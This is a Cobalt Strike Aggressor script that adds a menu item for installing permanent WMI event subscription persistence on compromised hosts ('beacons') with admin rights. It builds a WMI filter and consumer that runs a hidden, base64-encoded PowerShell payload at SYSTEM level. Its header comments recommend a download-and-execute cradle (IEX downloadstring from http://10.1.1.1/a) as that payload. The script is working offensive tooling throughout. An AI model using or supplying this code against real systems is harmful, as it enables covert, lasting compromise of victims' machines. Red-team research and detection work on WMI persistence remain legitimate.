AggressorScripts/Persistence/WMIEventPersist.cna

#Permanent WMI Event using PowerShell Persistence
#Author: @r3dQu1nn
#Generates a Custom WMI Event using Powershell for SYSTEM Level persistence on selected beacon
#Very syntax heavy, Test first before using on live targets
#Sample Queries:
## User Logon:
#SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
## System UpTime (Reboot):
#SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320
#https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
##Recommended Encoded Payload: 
#base 64 encode IEX of the powershell one liner ex: IEX (new-object net.webclient).downloadstring('http://10.1.1.1/a') > payload.txt
#cat payload.txt | iconv --to-code=UTF-16LE | base64 -w 0

sub persistwmievent  {
	$bid = $1;
	if (-is64 $bid) {
		$ExePath = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -enc";
	}
	else {
		$ExePath = "C:\\Windows\\SySWoW64\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -enc";
	}

	$dialog = dialog("Permanent WMI Event Persistence with PowerShell", %(eventfilter => "__EventFilter Name..", eventquery => "Event Query...(Win32 Classes)", payloadstring => "Encoded Payload String.."), lambda({
		if ("$3['eventfilter']" ismatch '__EventFilter Name..' || "$3['eventquery']" ismatch 'Event Query...(Win32 Classes)' || "$3['payloadstring']" ismatch 'Encoded Payload String..') {
			berror($bid, "\c4Please enter a valid __EventFilter Name, Event Query, and an Encoded Payload String.");
			break;
		}
		else {
			$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name=\"".$3['eventfilter']."\";EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"".$3['eventquery']."\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name=\"".$3['eventfilter']."\";CommandLineTemplate =\"". $ExePath ." ".$3['payloadstring']."\"};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
			bpowershell!($bid, $powershellcmd);
			blog($bid, 'Permanently Storing '.$3['eventfilter'].' in root\CimV2..');
			bpowershell($bid, 'Get-WmiObject __eventFilter -namespace root\subscription -filter "name=\''.$3['eventfilter'].'\'"');
			bpowershell($bid, 'Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name=\''.$3['eventfilter'].'\'"');
		}
	}));
	dialog_description($dialog, "Generates a Custom WMI Event using PowerShell for SYSTEM Level persistence on selected beacon. **Syntax is heavy, Test before using on live targets. Encoded Payload String must be converted to UTF-16LE, base64 encoded and under 1MB.**");
	
	drow_text($dialog, "eventfilter",  "Custom __EventFilter Name:");
	drow_text($dialog, "eventquery", "Custom Event Query:");
	drow_text($dialog, "payloadstring", "Custom Encoded Payload String:");
	
	dbutton_action($dialog, "Create");
	dialog_show($dialog);
}

popup beacon_bottom {
	item "&Permanent WMI Event Persistence with PowerShell" {
		local('$bid');
		foreach $bid ($1) {
			if (-isadmin $bid) {
				persistwmievent($bid);
			}
			else {
				berror($1, "\c4Persistence Requires Admin Level Privileges");
			}
		}
	}
}